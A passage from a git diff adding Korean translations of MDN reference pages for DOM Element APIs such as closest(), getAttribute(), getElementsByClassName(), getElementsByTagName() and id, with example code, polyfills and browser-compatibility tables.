+<p>When element has <code>display: inline</code>, then <code>clientLeft</code> returns <code>0</code> regardless of the element's border.</p>
diff --git a/files/ko/web/api/element/closest/index.html b/files/ko/web/api/element/closest/index.html
new file mode 100644
index 0000000000..2bafcaa294
--- /dev/null
+++ b/files/ko/web/api/element/closest/index.html
@@ -0,0 +1,145 @@
+---
+title: Element.closest()
+slug: Web/API/Element/closest
+translation_of: Web/API/Element/closest
+---
+<div>{{APIRef('DOM')}}</div>
+
+<div></div>
+
+<div>기준 {{domxref("Element")}} 에서부터 <code><strong>closest()</strong></code> 메소드를 통해 자신부터 부모 요소 단위로 출발하여 각 요소가 지정한 선택자에 만족할 때까지 탐색한다(문서 루트까지 이동). 이 중 가장 가깝게 조건에 만족한 부모 요소가 반환되며, 조건에 만족한 요소가 없으면 <code>null</code> 값을 반환한다.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>closestElement</var> = <var>targetElement</var>.closest(<var>selectors</var>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<ul>
+ <li><code><var>selectors</var></code> CSS 선택자가 들어가는 {{domxref("DOMString")}} 개체 문자열, 예)<br>
+  <code>"p:hover, .toto + q"</code>.</li>
+</ul>
+
+<h3 id="Result_value">Result value</h3>
+
+<ul>
+ <li><code><var>closestElement</var></code> 기준 요소를 포함하여 부모 요소 단위로 선택자 조건에 가장 가까운 {{domxref("Element")}} 객체를 가져오며, <code>null</code> 값이 될 수 있다.</li>
+</ul>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>{{exception("SyntaxError")}} : CSS 선택자 (<code><var>selectors</var></code>)가 올바른 선택자 식이 아닐 경우.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;div id="div-01"&gt;Here is div-01
+    &lt;div id="div-02"&gt;Here is div-02
+      &lt;div id="div-03"&gt;Here is div-03&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/article&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var el = document.getElementById('div-03');
+
+var r1 = el.closest("#div-02");
+// id=div-02 조건이 만족하므로 속성을 가진 부모 요소가 반환된다.
+
+var r2 = el.closest("div div");
+// div 요소에 만족한 요소 중 div 자식을 가리키므로, id=div-03 자신이 만족된다.
+
+var r3 = el.closest("article &gt; div");
+// 가장 가까운 article 요소 바로 하위의 div 요소 id=div-01 속성을 가진 요소가 반환된다.
+
+var r4 = el.closest(":not(div)");
+// div 요소가 아닌 가장 가까운 부모 article 요소가 반환된다.</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>아래 폴리필은 <code>Element.closest()</code>, 메소드를 지원하지 않는 브라우저를 위한 방법이지만, <code>element.matches()</code> 메소드를 사용하므로 IE 9 이상에서 동작한다.</p>
+
+<pre class="brush: js">if (!Element.prototype.matches) {
+  Element.prototype.matches = Element.prototype.msMatchesSelector ||
+                              Element.prototype.webkitMatchesSelector;
+}
+
+if (!Element.prototype.closest) {
+  Element.prototype.closest = function(s) {
+    var el = this;
+
+    do {
+      if (el.matches(s)) return el;
+      el = el.parentElement || el.parentNode;
+    } while (el !== null &amp;&amp; el.nodeType === 1);
+    return null;
+  };
+}</pre>
+
+<p>만약 정말 IE 8 지원을 고려해야 한다면, 아래 폴리필을 사용할 수 있다. 그러나 해당 폴리필은 성능이 매우 느리며, IE 8 특성 상 CSS 2.1 사양의 선택자까지밖에 사용할 수 없다. 또한 실제 운영 시 약간의 지연이 발생할 수 있다.</p>
+
+<pre class="brush: js">if (window.Element &amp;&amp; !Element.prototype.closest) {
+  Element.prototype.closest =
+  function(s) {
+    var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+        i,
+        el = this;
+    do {
+      i = matches.length;
+      while (--i &gt;= 0 &amp;&amp; matches.item(i) !== el) {};
+    } while ((i &lt; 0) &amp;&amp; (el = el.parentElement));
+    return el;
+  };
+}
+</pre>
+
+<h2 id="규격">규격</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-closest', 'Element.closest()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Element.closest")}}</p>
+
+<h3 id="Compatibility_notes">Compatibility notes</h3>
+
+<ul>
+ <li>Edge 15-18 브라우저에서는, <code>document.createElement(tagName).closest(tagName)</code> 식이 직접적이던 간접적이던 요소와 연결되지 않았다면 <code>null</code> 값을 반환한다. 예를 들면, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document" title="The Document interface represents any web page loaded in the browser and serves as an entry point into the web page's content, which is the DOM tree."><code>Document</code></a>객체 내에서 생성한 일반 DOM 요소에서 일어난다.</li>
+</ul>
+</div>
+
+<h2 id="같이보기">같이보기</h2>
+
+<ul>
+ <li>{{domxref("Element")}} 인터페이스.</li>
+ <li>
+  <div class="syntaxbox"><a href="/en-US/docs/Web/Guide/CSS/Getting_started/Selectors">선택자 구문</a></div>
+ </li>
+ <li>
+  <div class="syntaxbox">선택자 구문을 사용하는 다른 메소드: {{domxref("element.querySelector()")}} 및 {{domxref("element.matches()")}}.</div>
+ </li>
+</ul>
diff --git a/files/ko/web/api/element/currentstyle/index.html b/files/ko/web/api/element/currentstyle/index.html
new file mode 100644
index 0000000000..a18422e884
--- /dev/null
+++ b/files/ko/web/api/element/currentstyle/index.html
@@ -0,0 +1,80 @@
+---
+title: Element.currentStyle
+slug: Web/API/Element/currentStyle
+tags:
+  - 돔
+  - 속성 추출
+  - 요소 속성
+translation_of: Web/API/Element/currentStyle
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p><strong><code>Element.currentStyle</code></strong> 은 표준화된 {{domxref("window.getComputedStyle")}} 메서드의 인터넷 익스플로러 전용 대체 프로퍼티입니다. 오래된 버젼의 인터넷 익스플로러에서 사용 가능합니다.</p>
+
+<h2 id="Specification">Specification</h2>
+
+<p>명세에 포함 되는 부분이 아닙니다.</p>
+
+<p>마이크로소프트 <a href="https://msdn.microsoft.com/en-us/library/ms535231(v=vs.85).aspx">MSDN에 설명이 있습니다</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>6</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element.runtimeStyle")}}</li>
+</ul>
diff --git a/files/ko/web/api/element/getattribute/index.html b/files/ko/web/api/element/getattribute/index.html
new file mode 100644
index 0000000000..c8f3947310
--- /dev/null
+++ b/files/ko/web/api/element/getattribute/index.html
@@ -0,0 +1,53 @@
+---
+title: Element.getAttribute()
+slug: Web/API/Element/getAttribute
+tags:
+  - API
+  - DOM
+  - 속성
+translation_of: Web/API/Element/getAttribute
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p><span class="seoSummary"><code>getAttribute()</code> 은 해당 요소에 지정된 값을 반환 합니다.</span> 만약 주어진 속성이 존재 하지 않는 다면, null 값이나 ""(빈문자열); 을 반환 할 것입니다. 자세한 사항은 {{Anch("Notes")}}  참조 하십시오.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><em>var attribute</em> = element.getAttribute(<em>attributeName</em>);
+</pre>
+
+<ul>
+ <li><code><em>attribute</em></code>는 <code><em>attributeName</em></code>의 값을 가지고 있는 문자열입니다.</li>
+ <li><code><em>attributeName</em></code>은 값을 얻고자 하는 속성의 이름입니다.</li>
+</ul>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">let div1 = document.getElementById("div1");
+let align = div1.getAttribute("align");
+
+alert(align); // id가 "div1"인 요소(element)의 align 값을 보여줍니다.
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>When called on an HTML element in a DOM flagged as an HTML document, <code>getAttribute()</code> lower-cases its argument before proceeding.</p>
+
+<p>Essentially all web browsers (Firefox, Internet Explorer, recent versions of Opera, Safari, Konqueror, and iCab, as a non-exhaustive list) return <code>null</code> when the specified attribute does not exist on the specified element; this is what <a href="http://dom.spec.whatwg.org/#dom-element-getattribute" title="http://dom.spec.whatwg.org/#dom-element-getattribute">the current DOM specification draft</a> specifies. The old DOM 3 Core specification, on the other hand, says that the correct return value in this case is actually the <em>empty string</em>, and some DOM implementations implement this behavior. The implementation of <code>getAttribute()</code> in XUL (Gecko) actually follows the DOM 3 Core specification and returns an empty string. Consequently, you should use {{domxref("element.hasAttribute()")}} to check for an attribute's existence prior to calling <code>getAttribute()</code> if it is possible that the requested attribute does not exist on the specified element.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.Element.getAttribute")}}</p>
+</div>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-666EE0F9">DOM Level 2 Core: getAttribute</a> (introduced in <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-getAttribute">DOM Level 1 Core</a>)</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/ko/web/api/element/getelementsbyclassname/index.html b/files/ko/web/api/element/getelementsbyclassname/index.html
new file mode 100644
index 0000000000..f33e43b019
--- /dev/null
+++ b/files/ko/web/api/element/getelementsbyclassname/index.html
@@ -0,0 +1,108 @@
+---
+title: Element.getElementsByClassName()
+slug: Web/API/Element/getElementsByClassName
+translation_of: Web/API/Element/getElementsByClassName
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("Element")}}의 메소드 <code><strong>getElementsByClassName()</strong></code> 는 주어진 클래스를 가진 모든 자식 엘리먼트의 실시간 {{domxref("HTMLCollection")}} 을 반환합니다.</span></p>
+
+<p>{{domxref("Document")}}의 {{domxref("Document.getElementsByClassName", "getElementsByClassName()")}} 메소드는 도큐먼트 루트로부터 도큐먼트 전체를 탐색한다는 점을 제외하고는 동일하게 작동합니다. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>var <em>elements</em></var> = <em>element</em>.getElementsByClassName(<em>names</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>names</code></dt>
+ <dd>검색할 클래스 혹은 클래스들을 띄어쓰기로 구분한 {{domxref("DOMString")}}</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>실시간으로 업데이트되는 해당 클래스명을 가진 요소 목록의 {{domxref("HTMLCollection")}} 이 반환됩니다.</p>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>항상 그렇듯, 반환되는 collection은 실시간입니다. 즉, 함수가 호출된 이후에도 DOM 트리의 현재 상태가 반영됩니다. <code>names</code> 에 해당하는 클래스를 가진 요소가 하위에 추가되면, 그 요소는 즉시 collection에 나타납니다. 비슷하게, <code>names</code> 에 매칭되는 클래스를 갖고 있지 않은 요소에 매칭되는 클래스명이 적용되면, 그 요소 역시 즉시 collection에 나타나게 됩니다.</p>
+
+<p>반대도 역시 마찬가지입니다. 클래스명이 더 이상 <code>names</code> 와 일치하지 않게 되면, collection으로 부터 즉시 제거됩니다.</p>
+
+<div class="note">
+<p><a href="/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">호환모드</a>에서는 클래스명의 대소문자를 구분하지 않습니다. 그 외의 경우에는, 대소문자를 구분합니다.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="단일_클래스_찾기">단일 클래스 찾기</h3>
+
+<p>요소들 중 하나의 클래스를 포함하고 있는 요소를 검색하기 위해서는, 그 클래스명을 <code>getElementsByClassName()</code>의 인자로 넣으세요:</p>
+
+<pre class="brush: js">element.getElementsByClassName('test');</pre>
+
+<p>아래의 예시는 <code>main</code> 이라는 <code>id</code> 를 가진 요소의 하위 요소들 중 <code>test</code>라는 클래스를 가진 모든 요소를 탐색합니다. </p>
+
+<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre>
+
+<h3 id="여러개의_클래스로_탐색하기">여러개의 클래스로 탐색하기</h3>
+
+<p><code>red</code> 와 <code>test</code> 라는 클래스를 모두 포함하고 있는 요소를 탐색하기 위해서는 다음과 같이 합니다:</p>
+
+<pre class="brush: js">element.getElementsByClassName('red test');</pre>
+
+<h3 id="결과값_검토하기">결과값 검토하기</h3>
+
+<p>collection의 개별 요소를 가져오기 위해 <code>HTMLCollection</code> 의{{domxref("HTMLCollection.item", "item()")}} 메소드를 이용하거나 표준 배열 문법을 사용할 수 있습니다. 아래는 잘못된 코드의 예시입니다. <code>"matches"</code> 는 <code>"colorbox"</code> 클래스가 삭제됨에 따라 바로 변경될것이기 때문에 <u><strong> 아래의 코드는 작동하지 않습니다.</strong></u></p>
+
+<pre class="brush: js">var matches = element.getElementsByClassName('colorbox');
+
+for (var i=0; i&lt;matches.length; i++) {
+  matches[i].classList.remove('colorbox');
+  matches.item(i).classList.add('hueframe');
+}
+</pre>
+
+<p>대신 다른 방법을 사용하세요. 예시:</p>
+
+<pre class="brush: js">var matches = element.getElementsByClassName('colorbox');
+
+while (matches.length &gt; 0) {
+  matches.item(0).classList.add('hueframe');
+  matches[0].classList.remove('colorbox');
+}</pre>
+
+<p>위 코드는  <code>"colorbox"</code> 클래스를 가진 모든 자식 요소를 찾고, <code>item(0)</code> 을 호출해 <code>"hueframe"</code>이라는 클래스를 추가합니다 . 그리고 <code>"colorbox" </code> 클래스를 제거합니다(배열 표기법을 사용하여). 다른 요소 (만약 남아있다면) 가 <code>item(0)</code> 이 될 것입니다.</p>
+
+<h3 id="배열_함수를_이용해_결과값을_필터링하기">배열 함수를 이용해 결과값을 필터링하기</h3>
+
+<p>{{domxref("HTMLCollection")}}을 <code>this</code> 로 사용하면 {{jsxref("Array.prototype")}} 을 어떤 {{ domxref("HTMLCollection") }}에서든 사용할 수 있습니다. 아래의 예제에서는 <code>test</code> 클래스를 가진 모든 {{HTMLElement("div")}} 요소를 찾아봅니다 :</p>
+
+<pre class="brush: js">var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement) {
+  return testElement.nodeName === 'DIV';
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbyclassname', 'Element.getElementsByClassName()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Element.getElementsByClassName")}}</p>
diff --git a/files/ko/web/api/element/getelementsbytagname/index.html b/files/ko/web/api/element/getelementsbytagname/index.html
new file mode 100644
index 0000000000..345a8503f4
--- /dev/null
+++ b/files/ko/web/api/element/getelementsbytagname/index.html
@@ -0,0 +1,136 @@
+---
+title: Element.getElementsByTagName()
+slug: Web/API/Element/getElementsByTagName
+translation_of: Web/API/Element/getElementsByTagName
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><strong>Element.getElementsByTagName() </strong>메서드는 제공된 태그 네임(<a href="/en/DOM/element.tagName" title="en/DOM/element.tagName">tag name</a>)을 가지는 엘리먼트의 유효한 {{domxref("HTML 컬랙션")}}를 반환합니다. 엘리먼트가 특정된 범위를 검색하는 경우, 그 자신의 엘리먼트는 제외하고, 특정된 엘리먼트의 하위에 있는 서브트리가 검색됩니다. 반환된 리스트가 <em>live </em>상태이면,  리스트는 DOM 트리와 함께 자동적으로 업데이트 되는 것을 의미합니다. 결과적으로, 동일한 엘리먼트와 인자값으로 <strong>Element.getElementsByTagName()</strong>을 여러번 호출할 필요성은 없어집니다.</p>
+
+<p>HTML 문서 내에서 HTML 엘리먼트가 호출되면, getElementsByTagName는 진행하기 전에 그 인자들을 소문자로 변환합니다. 따라서, 카멜케이스로 이루어진 SVG 엘리먼트를 HTML문서의 서브트리 내에서 매칭하고자 하는 경우에는 {{ domxref("Element.getElementsByTagNameNS()") }}을 사용해야 합니다.</p>
+
+<p>Element.getElementsByTagName는 특정된 엘리먼트의 하위에 있는 엘리먼트 만을 검색하는 것으로 한정된 것을 제외하고는 {{domxref("Document.getElementsByTagName()")}}와 실질적으로 유사합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code><em>elements</em> = <em>element</em>.getElementsByTagName(<em>tagName</em>)</code></pre>
+
+<ul>
+ <li><code>elements</code> is a <em>live</em> {{domxref("HTMLCollection")}} of found elements in the order they appear in the sub-tree. If no elements were found, the <code>HTMLCollection</code> is empty.</li>
+ <li>요소들의 서브트리안에서 나타나는 순서대로 발견된 요소들은 live {{domxref("HTMLCollection")}} 입니다.</li>
+ <li><code>element</code> is the element from where the search should start. Note that only the descendants of this element are included in the search, but not the element itself.</li>
+ <li>검색이 시작되어야 하는 요소에서부터 요소들이라고 할 수 있습니다. 요소 그 자체가 아니라 요소들에서 파생된 요소만 검색에 포함된다는 것을 알아두세요.</li>
+ <li><code>tagName</code> is the qualified name to look for. The special string <code>"*"</code> represents all elements. For compatibility with XHTML, lower-case should be used.</li>
+ <li>tagName은 둘러볼 만한 가치가 있는 이름이다.특별한 문자열인 "*"은 모든 요소들을 대표합니다. XHTML과의 호환성을 위해서, 소문자가 사용되어야 합니다.</li>
+</ul>
+
+<h2 id="Example_예제">Example 예제</h2>
+
+<pre class="brush: js">// check the alignment on a number of cells in a table.
+var table = document.getElementById("forecast-table");
+var cells = table.getElementsByTagName("td");
+for (var i = 0; i &lt; cells.length; i++) {
+    var status = cells[i].getAttribute("data-status");
+    if ( status == "open" ) {
+        // grab the data
+    }
+}
+</pre>
+
+<h2 id="Specifications_명세">Specifications 명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbytagname', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Changed the return value from {{domxref("NodeList")}} to {{domxref("HTMLCollection")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility_브라우저_호환성">Browser compatibility 브라우저 호환성</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0 [2]</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>5.5</td>
+   <td>{{ CompatVersionUnknown() }} [2]</td>
+   <td>{{ CompatVersionUnknown() }} [2]</td>
+  </tr>
+  <tr>
+   <td>getElementsByTagName("*")</td>
+   <td>1.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>6.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Firefox 19, this method was returning a {{domxref("NodeList")}}; it was then changed to reflect the spec change.</p>
+
+<p>[1] Firefox 19 이전에는, 이 메서드는 {{domxref("NodeList")}};를 반환 했습니다. 그 후 사양의 변화를 반영하기 위해서 변경 되었습니다.</p>
+
+<p>[2] Initially, this method was returning a {{domxref("NodeList")}}; it was then changed to reflect the spec change.</p>
+
+<p>[2] 처음에는 이 메서드는 {{domxref("NodeList")}};를 반환 하였습니다. 그 후 사양의 변화를 반영하기 위해서 변경 되었습니다.</p>
diff --git a/files/ko/web/api/element/id/index.html b/files/ko/web/api/element/id/index.html
new file mode 100644
index 0000000000..9c9f343239
--- /dev/null
+++ b/files/ko/web/api/element/id/index.html
@@ -0,0 +1,67 @@
+---
+title: Element.id
+slug: Web/API/Element/id
+translation_of: Web/API/Element/id
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p><strong><code>Element.id</code></strong> 속성은 요소의 식별자를 나타내며, HTML의 전역적인 id 속성을 반영합니다.</p>
+
+<p>이 값은 도큐먼트 내에서 유일해야 하며, 종종 {{domxref("document.getElementById", "getElementById")}}를 사용하여 요소를 찾아내는데 사용됩니다. <code>id</code> 속성을 이용하는 다른 보편적인 방법에는 <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>로 도큐먼트를 스타일링 할때 <a href="/en-US/docs/Web/CSS/ID_selectors" title="Web/CSS/ID_selectors">ID를 선택자로 사용</a>하는 방법이 있습니다. </p>
+
+<div class="note">
+<p><strong>Note</strong>: 식별자는 대소문자를 구분하지만, 그래도 ID를 대소문자만 다르게 생성해서는 안됩니다.  (<a href="/en-US/docs/Case_Sensitivity_in_class_and_id_Names" title="Case_Sensitivity_in_class_and_id_Names">클래스명과 식별자에서의 대소문자 구분</a>참고).</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>idStr</em> = <em>elt</em>.id; // 아이디를 가져옵니다.
+<em>elt</em>.id = <em>idStr; // 아이디를 부여합니다</em>
+</pre>
+
+<ul>
+ <li><em><code>idStr</code></em>는 요소의 식별자입니다.</li>
+</ul>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-id', 'id')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change from {{SpecName('DOM2 HTML')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-63534901', 'id')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change from {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-63534901', 'id')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Element.id")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The DOM <a href="/en-US/docs/Web/HTML/Global_attributes/id"><strong>id</strong></a> global attribute.</li>
+</ul>
diff --git a/files/ko/web/api/element/index.html b/files/ko/web/api/element/index.html
new file mode 100644
index 0000000000..daaf1d7742
--- /dev/null
+++ b/files/ko/web/api/element/index.html
@@ -0,0 +1,306 @@
+---
+title: Element
+slug: Web/API/Element
+tags:
+  - API
+  - DOM
+  - Element
+  - Interface
+  - Reference
+translation_of: Web/API/Element
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Element</code></strong>는 {{domxref("Document")}} 안의 모든 객체가 상속하는 제일 범용적인 기반 클래스로 공통 메서드와 속성만 가지고 있으며, 특정 요소를 더 상세하게 표현하는 클래스가 <code>Element</code>를 상속합니다. 예를 들어 {{domxref("HTMLElement")}} 인터페이스는 HTML 요소의 기반 인터페이스이고 {{domxref("SVGElement")}} 인터페이스는 모든 SVG 요소의 기초입니다.</p>
+
+<p>XUL의 <code>XULElement</code>처럼 웹 플랫폼 밖에서도 <code>Element</code>를 구현합니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<p><em>부모 인터페이스인 {{domxref("Node")}}와 그 부모인 {{domxref("EventTarget")}}의 속성을 상속합니다. {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, {{domxref("NonDocumentTypeChildNode")}}와 {{domxref("Animatable")}}의 속성을 구현합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Element.attributes")}} {{readOnlyInline}}</dt>
+ <dd>HTML 요소에 할당한 속성을 담은 {{domxref("NamedNodeMap")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("Element.classList")}} {{readOnlyInline}}</dt>
+ <dd>요소의 클래스 속성 리스트를 담은 {{domxref("DOMTokenList")}}를 반환합니다.</dd>
+ <dt>{{domxref("Element.className")}}</dt>
+ <dd>요소의 클래스를 나타내는 {{domxref("DOMString")}}을 반환합니다.</dd>
+ <dt>{{domxref("Element.clientHeight")}} {{readOnlyInline}}</dt>
+ <dd>요소의 안쪽 높이를 나타내는 {{jsxref("Number")}}를 반환합니다.</dd>
+ <dt>{{domxref("Element.clientLeft")}} {{readOnlyInline}}</dt>
+ <dd>요소의 왼쪽 테두리 너비를 나타내는 {{jsxref("Number")}}를 반환합니다.</dd>
+ <dt>{{domxref("Element.clientTop")}} {{readOnlyInline}}</dt>
+ <dd>요소의 위쪽 테두리 너비를 나타내는 {{jsxref("Number")}}를 반환합니다.</dd>
+ <dt>{{domxref("Element.clientWidth")}} {{readOnlyInline}}</dt>
+ <dd>요소의 안쪽 너비를 나타내는 {{jsxref("Number")}}를 반환합니다.</dd>
+ <dt>{{domxref("Element.computedName")}} {{readOnlyInline}}</dt>
+ <dd>요소가 노출하는 접근성 라벨을 포함한 {{domxref("DOMString")}}을 반환합니다.</dd>
+ <dt>{{domxref("Element.computedRole")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the ARIA role that has been applied to a particular element.</dd>
+ <dt>{{ domxref("Element.id") }}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the id of the element.</dd>
+ <dt>{{ domxref("Element.innerHTML") }}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the markup of the element's content.</dd>
+ <dt>{{ domxref("Element.localName") }} {{readOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing the local part of the qualified name of the element.</dd>
+ <dt>{{domxref("Element.namespaceURI")}} {{readonlyInline}}</dt>
+ <dd>The namespace URI of the element, or <code>null</code> if it is no namespace.
+ <div class="note">
